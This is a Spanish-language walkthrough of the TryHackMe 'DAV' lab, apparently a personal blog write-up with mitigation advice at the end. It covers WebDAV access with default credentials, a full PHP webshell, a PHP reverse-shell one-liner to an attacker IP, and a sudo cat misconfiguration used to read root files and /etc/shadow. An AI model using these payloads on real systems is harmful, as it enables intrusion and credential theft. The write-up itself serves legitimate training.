DAV - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeWebDAVLinux
DAV - TryHackMe

📚 Esta publicación pertenece a la colección:

DAV - TryHackMe Writeup

Bienvenido a mi writeup de la máquina DAV de TryHackMe. En esta máquina explotaremos un servicio WebDAV vulnerable para conseguir acceso inicial y, acto seguido, obtendremos control del sistema de forma no privilegiada. Intentaremos escalar privilegios por una pequeña desconfiguración.

Room: DAV
Dificultad: Easy
Objetivo: 2 flags (user.txt y root.txt)
Tiempo estimado: 45 minutos

En esta máquina estaremos explotando un servicio WebDav, si quieres saber que es WebDav, puedes hacerlo en WebDav - Shards


🎯 Información del Objetivo

IP Target: 10.10.47.60


🔍 Fase 1: Reconocimiento Inicial

Verificación de Conectividad

Primero verificamo que tengo conectividad con el objetivo. Hago un simple ping.

ping 10.10.47.60 -c 4

Ping al objetivo

💡 Observación importante: El TTL (Time To Live) es 63. Esto es un indicador de que probablemente estemos ante una máquina Linux (los sistemas Linux suelen tener TTL 64, pero al pasar por un router se reduce a 63). Los sistemas Windows típicamente tienen TTL 128.


🔎 Fase 2: Escaneo de Puertos

Ahora que sabemos que el objetivo está activo, es momento de descubrir qué servicios están expuestos.

nmap 10.10.47.60 -sV -Pn -sC --top-ports 100

Escaneo de puertos con nmap

Resultado: El puerto 80 (HTTP) está abierto y corriendo Apache httpd 2.4.18.

Al acceder a http://10.10.47.60, observo la página por defecto de Apache2. Esto me indica que el servidor está configurado pero probablemente no tiene un sitio web personalizado todavía.


📂 Fase 3: Enumeración Web

Cuando veo un servidor web, mi siguiente paso es enumerar directorios y archivos. Para esto, utilizo scripts de nmap especializados en HTTP.

nmap 10.10.47.60 -Pn -vvv -p80 --script=http-enum

Enumeración HTTP con nmap

¡Interesante! El script ha encontrado un directorio llamado /webdav/.

¿Qué es WebDAV?

WebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP que permite a los usuarios editar y gestionar archivos en servidores web remotos. Es como tener un "disco compartido" accesible vía web.

El problema es que WebDAV mal configurado puede ser una puerta de entrada para atacantes.


🔐 Fase 4: Búsqueda de Credenciales

Al acceder a http://10.10.47.60/webdav/, me encuentro con una autenticación HTTP Basic.

Lo primero que pienso es en lanzar un ataque de fuerza bruta, pero también considero que quizá la página muestre información relevante o que el servicio no esté correctamente configurado. Investigando en la web no obtengo ningún dato útil, así que decido buscar credenciales de acceso comunes que podrían emplearse en una instalación de WebDAV. ¿Por qué? Porque muchos administradores instalan servicios y olvidan cambiar las credenciales predeterminadas.

Investigación de Credenciales por Defecto

Consulto con herramientas de IA y documentación para encontrar las credenciales típicas de Apache/WebDAV:

Credenciales comunes:

  • admin:admin
  • admin:password
  • wampp:xamppEsta es específica de XAMPP
  • root:root
  • test:test

¡Pruebo wampp:xampp y... ¡BINGO! ¡Estoy dentro!


🎯 Fase 5: Explotación - Subida de WebShell

Ahora que tengo acceso a WebDAV, necesito confirmar:

  1. ¿Qué tipo de archivos puedo subir?
  2. ¿Puedo ejecutar código?

Confirmación del Sistema Operativo

Aunque el TTL me sugiere Linux, quiero confirmarlo:

nmap 10.10.47.60 -Pn -O

Detección de SO con nmap

Confirmado: Es un sistema Linux.

Prueba de Capacidades con DAVTest

Utilizo davtest para verificar qué tipos de archivos puedo subir y ejecutar:

davtest -url http://10.10.47.60/webdav/ -auth wampp:xampp

Resultados de davtest

Resultados importantes:

  • ✅ Puedo subir archivos .php
  • ✅ Los archivos PHP son ejecutables
  • ✅ Puedo subir archivos .txt, .html, etc.

Esto es perfecto. Significa que puedo subir una webshell PHP y ejecutar comandos en el servidor.

Creación de la WebShell

Utilizo una webshell simple y efectiva. Creo un archivo llamado webshell.php:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

Fuente: Simple PHP WebShell by joswr1ght

Subida con Cadaver

Utilizo cadaver, un cliente WebDAV por línea de comandos:

cadaver http://10.10.47.60/webdav/

Una vez autenticado con wampp:xampp, subo el archivo:

dav:/webdav/> put webshell.php

Subida de webshell a WebDav

¡Perfecto! Ahora accedo a http://10.10.47.60/webdav/webshell.php y tengo una interfaz donde puedo ejecutar comandos:

WebShell funcionando


🚩 Fase 6: Captura de la Flag de Usuario

Con la webshell activa, empiezo a explorar el sistema:

whoami

Resultado: www-data

ls /home/

Resultado: Encuentro un usuario llamado merlin

ls /home/merlin/

Resultado: ¡Hay un archivo user.txt!

cat /home/merlin/user.txt

Flag de usuario

🎉 Primera flag capturada!


🔄 Fase 7: Reverse Shell para Mayor Comodidad

Trabajar con una webshell puede ser tedioso. Para tener una shell interactiva completa, voy a establecer una reverse shell.

Configuración del Listener

En mi máquina atacante, abro un listener con netcat:

nc -lvnp 1234

Ejecución de la Reverse Shell

Desde la webshell, ejecuto el siguiente comando PHP:

php -r '$sock=fsockopen("10.8.63.221",1234);exec("sh <&3 >&3 2>&3");'

Ahora tengo una shell completa como www-data.

Mejorando la Shell

Para hacer la shell más usable, ejecuto:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Esto me da una pseudo-terminal más interactiva.


🔓 Fase 8: Escalada de Privilegios

Ahora que tengo acceso como www-data, necesito escalar privilegios a root para obtener la flag final.

Enumeración de Privilegios Sudo

Lo primero que verifico es si el usuario actual tiene permisos sudo:

sudo -l

Permisos sudo

Oh yeah ddy 🎯

El output muestra:

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

Esto significa que puedo ejecutar el comando /bin/cat como root sin necesidad de contraseña.

¿Por qué es esto peligroso?

El comando cat se utiliza para leer archivos. Si puedo ejecutarlo como root, puedo leer cualquier archivo del sistema, incluyendo:

  • /etc/shadow (hashes de contraseñas)
  • /root/.ssh/id_rsa (claves SSH privadas)
  • /root/root.txt (nuestra flag objetivo)

Explotación

Primero, confirmo dónde está la flag de root:

ls /root/

Veo que existe /root/root.txt. Ahora simplemente leo el archivo usando sudo:

sudo /bin/cat /root/root.txt

🎉 ¡Flag de root capturada! Máquina comprometida completamente!

Bonus: Lectura de /etc/shadow

Ya que tengo estos privilegios, también puedo leer el archivo de contraseñas:

sudo /bin/cat /etc/shadow

Con estos hashes, podría intentar crackearlos offline usando herramientas como John the Ripper o Hashcat, pero para esta máquina ya hemos cumplido el objetivo.


📊 Resumen y Lecciones Aprendidas

Vectores de Ataque Utilizados

  1. Credenciales por defecto - wampp:xampp de XAMPP
  2. WebDAV mal configurado - Permitía subida de archivos PHP
  3. WebShell PHP - Ejecución remota de comandos
  4. Reverse Shell - Acceso interactivo al sistema
  5. Sudo misconfiguration - /bin/cat con NOPASSWD

Vulnerabilidades Identificadas

VulnerabilidadSeveridadImpacto
Credenciales por defectoCRÍTICAAcceso inicial al sistema
WebDAV sin restriccionesALTASubida de archivos maliciosos
Ejecución de PHPALTARCE (Remote Code Execution)
Sudo misconfigurationCRÍTICAEscalada de privilegios

Recomendaciones de Mitigación

Para los administradores de sistemas:

  1. 🔐 Cambiar credenciales por defecto inmediatamente después de la instalación
  2. 🚫 Deshabilitar WebDAV si no es estrictamente necesario
  3. 📝 Implementar whitelist de extensiones permitidas en uploads
  4. 🔒 Configurar sudo correctamente - nunca dar acceso NOPASSWD a comandos que pueden leer archivos
  5. 🛡️ Principio de mínimo privilegio - www-data no debería tener privilegios sudo
  6. 📊 Monitoreo y logging - Detectar actividades sospechosas
  7. 🔄 Actualizaciones regulares - Mantener el software actualizado

Herramientas Utilizadas

  • nmap - Escaneo de puertos y enumeración
  • davtest - Testing de capacidades WebDAV
  • cadaver - Cliente WebDAV
  • netcat - Listener para reverse shell
  • PHP - Lenguaje para webshell y reverse shell
  • sudo - Escalada de privilegios

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.